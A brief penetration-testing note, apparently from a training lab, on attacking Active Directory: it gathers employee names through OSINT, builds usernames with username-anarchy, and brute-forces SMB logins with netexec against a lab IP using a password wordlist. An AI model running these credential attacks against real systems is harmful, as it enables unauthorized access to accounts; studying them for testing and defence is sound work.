Attacking active directory

Brute-force attack can be noisy and turn IPS/IDS but we find ourselves in a scenario where directory attack is a viable next step, we can narrow down our attack by gaining the names of the employees that work at the organization. (email address, pdf, contact form, social media, google dorks search '[e-mail]')

Generate list from words

• https://github.com/urbanadventurer/username-anarchy

./username-anarchy -i name_list.txt

Attack with crackmapexec

nxc smb 10.129.201.57 -u bwilliamson -p /usr/share/wordlists/fasttrack.txt